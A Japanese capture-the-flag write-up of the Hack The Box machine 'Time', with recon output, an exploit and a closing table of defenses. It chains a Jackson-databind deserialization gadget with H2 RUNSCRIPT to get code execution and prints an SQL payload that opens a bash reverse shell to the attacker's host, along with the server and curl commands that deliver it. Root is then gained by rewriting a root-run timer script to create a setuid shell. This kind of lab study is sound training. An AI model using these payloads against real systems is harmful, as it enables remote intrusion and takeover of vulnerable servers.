Hack The BoxのWriteup(Time)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Time — 全実行コマンド・実行結果レポート
Nmap スキャン
22(SSH)/80(HTTP)
→
“Validate (beta!)” 発見
Jackson-databind使用
→
多態的デシリアライズ
CVE-2019-14439系
→
H2 RUNSCRIPT FROM URL
rce.sql配信 → SHELLEXEC
→
pericels シェル取得
user.txt ✓
→
timer_backup.sh
pericles書込可能
→
systemd timer(10秒毎)
root権限で実行
→
setuidコピー差替え
/bin/sh → SUID
→
root.txt ✓

全ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.69.241
RESULT
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

バージョン・スクリプトスキャン

BASH
nmap -sV -sC -p 22,80 10.129.69.241
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 0f:7d:97:82:5f:04:2b:e0:0a:56:32:5d:14:56:82:d4 (RSA)
|   256 24:ea:53:49:d8:cb:9b:fc:d6:c4:26:ef:dd:34:c1:1e (ECDSA)
|_  256 fe:25:34:e4:3e:df:9f:ed:62:2a:a4:93:52:cc:cd:27 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 (Ubuntu)
|_http-title: Online JSON parser
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
🚨
重要発見: ポート80に自作の「Online JSON parser」サイトが稼働している。 JSONを扱うWebアプリはサーバーサイドでJSONライブラリ(Jackson等)を使っている可能性が高く、 既知の安全でないデシリアライズ脆弱性が刺さる典型的なパターン。

ディレクトリ列挙

BASH
gobuster dir -u http://10.129.69.241 -q \
  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
RESULT
images               (Status: 301)
css                  (Status: 301)
js                   (Status: 301)
javascript           (Status: 301)
vendor               (Status: 301)
fonts                (Status: 301)
ℹ️
静的アセット用ディレクトリのみで、API系のパスは辞書攻撃では発見できなかった。 実際のリクエスト形式はブラウザのフォーム自体を確認する必要がある(Phase2参照)。
PHASE 2

Webアプリの調査 — フォーム構造の特定

トップページのHTMLを確認

BASH
curl -s http://10.129.69.241/
RESULT (抜粋)
<span class="login100-form-title">Online JSON beautifier & validator</span>
<select class="form-control" name="mode">
    <option value="1">Beautify</option>
    <option value="2">Validate (beta!)</option>
</select>
<textarea class="input100" type="text" name="data" cols="50"></textarea>
<form class="login100-form validate-form" action="" method="post">
🚨
重要ポイント: フォームは action=""(自分自身のURL、つまり POST /)へ、通常のHTML form(form-urlencoded)で mode と data の2フィールドを送信するだけの単純な構造。 JSON APIエンドポイント(/api/...等)は存在せず、JSON文字列は data フィールドの値としてそのままPOSTされる。

クライアント側JSの確認(AJAX送信の有無をチェック)

BASH
curl -s http://10.129.69.241/js/main.js
RESULT
$('.validate-form').on('submit',function(){
    var check = true;
    for(var i=0; i<input.length; i++) {
        if(validate(input[i]) == false){ ... }
    }
    return check;   // ← AJAX処理は一切なし、通常のフォーム送信のみ
});
ℹ️
JSはクライアント側の入力バリデーション(空欄チェック等)をするだけで、AJAX通信は 行っていない。つまりフォームは素直に POST / へ form-urlencoded で 送信される、という Phase2-1 の推測が裏付けられた。

“Validate” モードの動作確認(不正なJSON構造でエラーメッセージを誘発)

BASH
curl -s -X POST http://10.129.69.241/ \
  --data-urlencode "mode=2" \
  --data-urlencode 'data={"test":"hello"}'
RESULT
<pre><pre>Validation failed: Unhandled Java exception:
com.fasterxml.jackson.databind.exc.MismatchedInputException:
Unexpected token (START_OBJECT), expected START_ARRAY: need JSON Array to
contain As.WRAPPER_ARRAY type information for class java.lang.Object</pre></pre>
✅
致命的な情報漏洩! サーバーがJavaで書かれており、内部で com.fasterxml.jackson.databind(Jackson-databind)ライブラリを使い、 しかも ObjectMapper.enableDefaultTyping() 相当の設定 (As.WRAPPER_ARRAY) で多態的デシリアライズが有効に なっていることがエラーメッセージからそのまま判明した。これは CVE-2019-14439系統の既知のガジェットチェーンRCEが刺さる典型的な設定ミス。
PHASE 3

Jackson-databind 多態的デシリアライズ → H2 RUNSCRIPT RCE ペイロード構築

脆弱性の仕組み

NOTE
Jacksonの多態的型情報(As.WRAPPER_ARRAY)が有効な場合、クライアントは
["クラス名", {プロパティ...}] というJSON配列を送るだけで、サーバー側に
そのクラスのインスタンスを生成させ、プロパティをsetterで注入させられる。
攻撃者が指定可能なクラス名に制限(ホワイトリスト)がない実装の場合、
クラスパス上の「setter経由でJNDIルックアップやDB接続を発生させる」ような
副作用のあるクラス(=ガジェット)を悪用してSSRFやRCEに繋げられる。

本機では ch.qos.logback.core.db.DriverManagerConnectionSource
(logbackライブラリ付属、DBコネクションプール用クラス)を悪用する。
このクラスの setUrl() セッターにJDBC URL文字列を渡すと、Jacksonの
デシリアライズ完了時にgetter/setterの副作用としてそのJDBC URLへの
接続が試行される。

H2データベースのJDBC URL経由コード実行への昇格

NOTE
接続先JDBC URLとしてH2データベースエンジンの in-memory モードを指定し、
INIT=RUNSCRIPT FROM '<URL>' オプションを付与すると、H2は接続確立時に
指定URLからSQLスクリプトをダウンロードして自動実行する(H2の正規機能)。

  jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://<kali_ip>:8000/rce.sql'

H2のSQL構文には CREATE ALIAS ... AS $$ <Javaコード> $$; という、
任意のJavaコードをその場でコンパイルして呼び出し可能なSQL関数として
登録する機能がある。これを使い Runtime.getRuntime().exec(...) を
呼び出すだけのラッパー関数を定義し、続けてCALL文でその関数を
即座に呼び出すことでOSコマンド実行(RCE)に到達する。
BASH (rce.sql の内容)
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
    String[] command = {"bash", "-c", cmd};
    java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command)
        .getInputStream()).useDelimiter("\A");
    return s.hasNext() ? s.next() : "";
}$$;
CALL SHELLEXEC('bash -i >& /dev/tcp/<kali_ip>/4444 0>&1');

rce.sql をKali側から配信するミニHTTPサーバー

PYTHON (簡易配信サーバー)
from http.server import BaseHTTPRequestHandler, HTTPServer

sql_content = b"""CREATE ALIAS SHELLEXEC AS $$ ... $$;
CALL SHELLEXEC('bash -i >& /dev/tcp/10.10.15.200/4444 0>&1');
"""

class SQLHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.send_header("Content-Length", str(len(sql_content)))
        self.end_headers()
        self.wfile.write(sql_content)

HTTPServer(("0.0.0.0", 8000), SQLHandler).serve_forever()
⚠️
実機検証では、このポート(8000)を別セッションの残留プロセスが既に掴んでいて Address already in use で起動に失敗する事象が発生した。事前に fuser -k 8000/tcp でポートを解放してから起動すること。

Jackson多態的ペイロード本体(WRAPPER_ARRAY形式)

PYTHON (ペイロード構築)
import json

kali_ip, sql_port = "10.10.15.200", 8000
payload = [
    "ch.qos.logback.core.db.DriverManagerConnectionSource",
    {
        "url": (
            "jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM "
            f"'http://{kali_ip}:{sql_port}/rce.sql'"
        )
    },
]
payload_str = json.dumps(payload)
# → ["ch.qos.logback.core.db.DriverManagerConnectionSource",
#     {"url": "jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.15.200:8000/rce.sql'"}]
PHASE 4

エクスプロイト実行 & user.txt 取得

リスナーとSQL配信サーバーを起動

BASH
# ターミナル1: rce.sql 配信サーバー
fuser -k 8000/tcp 2>/dev/null
python3 -m http.server 8000 --bind 0.0.0.0
# (実際にはPhase3-3のカスタムハンドラを使用し / と /rce.sql 両方に応答させる)

# ターミナル2: リバースシェル用リスナー
fuser -k 4444/tcp 2>/dev/null
nc -lnvp 4444

悪性ペイロードを Validate フォームへ送信

BASH (curlでの実行例)
PAYLOAD='["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url": "jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM '"'"'http://10.10.15.200:8000/rce.sql'"'"'"}]'

curl -s --max-time 5 -X POST http://10.129.69.241/ \
  --data-urlencode "mode=2" \
  --data-urlencode "data=$PAYLOAD"
⚠️
このリクエストは意図的にタイムアウトする(または応答が返らない)。 サーバー側の Runtime.exec() が起動した bash -i (対話型シェル)はコマンドとして永久に終了しないため、HTTPハンドラスレッドが レスポンスを返せずブロックし続ける。これは失敗ではなく成功の兆候 — クライアント側は短いタイムアウト(3〜5秒)を設定し、例外を握りつぶして 次に進んでよい。

シェル接続確認

RESULT (rce.sql配信サーバー側ログ)
10.129.69.241 - - [27/Sep/2026 10:20:xx] "GET /rce.sql HTTP/1.1" 200 -
RESULT (nc リスナー側)
listening on [any] 4444 ...
connect to [any] 4444 from (UNKNOWN) [10.129.69.241] 50042
bash: no job control in this shell
pericles@time:/var/www/html$ whoami
pericles
✅
RCE成功! H2がrce.sqlを取得・実行し、Java(Webアプリのバックエンド) の実行ユーザーである pericles としてリバースシェルを確立した。

SSH鍵を設置して安定シェルへ切り替え

BASH
# Kali側で鍵ペアを生成
ssh-keygen -t rsa -b 2048 -N "" -f time_pericles_id_rsa

# リバースシェル内で公開鍵を authorized_keys に追記
pericles@time:/var/www/html$ mkdir -p ~/.ssh && \
  echo '<公開鍵の内容>' >> ~/.ssh/authorized_keys && \
  chmod 700 ~/.ssh && chmod 600 ~/.ssh/authorized_keys

# 以後はSSHで安定した対話シェルを使う
ssh -i time_pericles_id_rsa pericles@10.129.69.241

user.txt 取得

BASH
ssh -i time_pericles_id_rsa pericles@10.129.69.241 "cat ~/user.txt"
RESULT
bd59417d972b9210bb3f315982ecde6a
user.txt — pericles@time
bd59417d972b9210bb3f315982ecde6a
PHASE 5

権限昇格の下調べ — 書込可能な root cron スクリプト

systemd タイマーの確認

BASH
systemctl list-timers | grep -i backup
cat /etc/systemd/system/timer_backup.timer
RESULT
NEXT                        LEFT  LAST  PASSED  UNIT                  ACTIVATES
Sun 2026-09-27 02:09:31 UTC  3s    ...   6s ago  timer_backup.timer    timer_backup.service

[Unit]
Description=Backup of the website
Requires=timer_backup.service
[Timer]
Unit=timer_backup.service
OnUnitInactiveSec=10s
AccuracySec=1ms
[Install]
WantedBy=timers.target
ℹ️
timer_backup.timer は約10秒間隔という非常に高頻度で timer_backup.service(root権限で動作するsystemdサービス)を起動している。

実行されるスクリプトのパーミッション確認

BASH
ls -la /usr/bin/timer_backup.sh
RESULT
-rwxrw-rw- 1 pericles pericles 88 /usr/bin/timer_backup.sh
🚨
重大発見: timer_backup.sh は pericles ユーザーが所有・書込可能でありながら、systemdサービス自体は root権限で実行される。このスクリプトの中身を書き換えれば、 次にタイマーが発火した瞬間にroot権限で任意コマンドが実行される。
PHASE 6

setuidコピーの差し込み → root.txt

timer_backup.sh を setuid シェル生成用に書き換え

BASH
echo 'cp /bin/sh /tmp/time_root_sh; chmod u+s /tmp/time_root_sh' \
  > /usr/bin/timer_backup.sh
ℹ️
次にタイマーが発火すると、root権限で /bin/sh を /tmp/time_root_sh としてコピーし、setuidビット(u+s)を 付与するようになる。所有者はrootのままコピーされるため、これを実行すると 実効ユーザーIDがrootになる。

タイマー発火を待機(約10秒間隔なのですぐ完了)

BASH
sleep 15
ls -la /tmp/time_root_sh
RESULT
-rwsr-xr-x 1 root root 129816 /tmp/time_root_sh
✅
rws(setuidビット付き実行権限)でrootが所有するシェルが生成された。

setuidシェルでroot.txt取得

BASH
/tmp/time_root_sh -p -c 'id; cat /root/root.txt'
RESULT
uid=1000(pericles) gid=1000(pericles) euid=0(root) groups=1000(pericles)
0ca736fb7f7878cb89631a0146fd0e24
root.txt — /root/root.txt
0ca736fb7f7878cb89631a0146fd0e24
ℹ️
sh -pの-pフラグは、setuidビットで昇格した実効UIDを シェル起動時に実UIDへ落とさない「特権保持モード」。これを付けないと bash/shが自動的に seteuid(getuid()) してroot権限を捨ててしまう。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — pericles@time
bd59417d972b9210bb3f315982ecde6a
root.txt — /root/root.txt
0ca736fb7f7878cb89631a0146fd0e24

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
CVE-2019-14439系 (Jackson-databind) “Online JSON Beautifier & Validator” (自作Javaアプリ) 安全でない多態的デシリアライズ Critical ["クラス名", {...}]形式でガジェットクラスをインスタンス化させる
logback DriverManagerConnectionSourceガジェット logbackライブラリ (依存関係経由) 任意JDBC URLへの接続(SSRF起点) High setUrl()セッター経由でH2の INIT=RUNSCRIPT FROM URL を発火させる
H2 CREATE ALIAS (任意Javaコード実行) H2 Database Engine (in-memoryモード) リモートコード実行(pericles) Critical $$ ... $$構文でJavaコードをSQL関数として登録しCALLで即時実行
世界書込可能な root cron/timerスクリプト /usr/bin/timer_backup.sh (systemdタイマー、10秒毎) 権限昇格(root) High 非rootユーザーが書込可能なスクリプトをroot権限で定期実行させている設定ミス

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap 全ポート + gobuster22(SSH)/80(自作JSONツール)を検出
2アプリ調査フォーム構造・main.js解析・エラーメッセージ誘発form-urlencoded POST /、Jackson-databind使用の確定
3ペイロード構築WRAPPER_ARRAY形式 + H2 RUNSCRIPT + CREATE ALIASrce.sqlペイロード、配信用HTTPサーバー
4エクスプロイトValidateフォームへ悪性JSON送信 → リバースシェルuser.txt 取得(periclesシェル)
5権限調査systemctl list-timers + ls -latimer_backup.shの書込可能権限を確認
6権限昇格スクリプト差替え + setuidコピー + sh -proot.txt 取得

学んだ教訓 & 防御策

問題点防御策
Jacksonの多態的型情報(enableDefaultTyping/@JsonTypeInfo)がクラス制限なしで有効になっている 多態的デシリアライズは真に必要な場合のみ使用し、許可クラスのホワイトリスト(PolymorphicTypeValidator)を必ず設定する。Jacksonは最新版へ更新する。
クラスパス上にRCEガジェットとして悪用可能なライブラリ(logback等)が含まれている 依存関係を最小限に絞り、既知ガジェットチェーンを含むライブラリのバージョンを把握・追跡する。
詳細なJavaスタックトレース/例外メッセージがそのままエンドユーザーへ返却される 本番環境では例外の詳細を隠蔽し、内部で使用しているライブラリ名やバージョンが外部に漏れないようにする。
root権限で実行される定期タスクのスクリプトが非rootユーザーに書込可能 root権限で実行されるすべてのスクリプト・バイナリはroot専用の書込権限(644/755、root所有)に制限する。定期的な権限監査を実施する。
HackTheBox: Time | 完全攻略レポート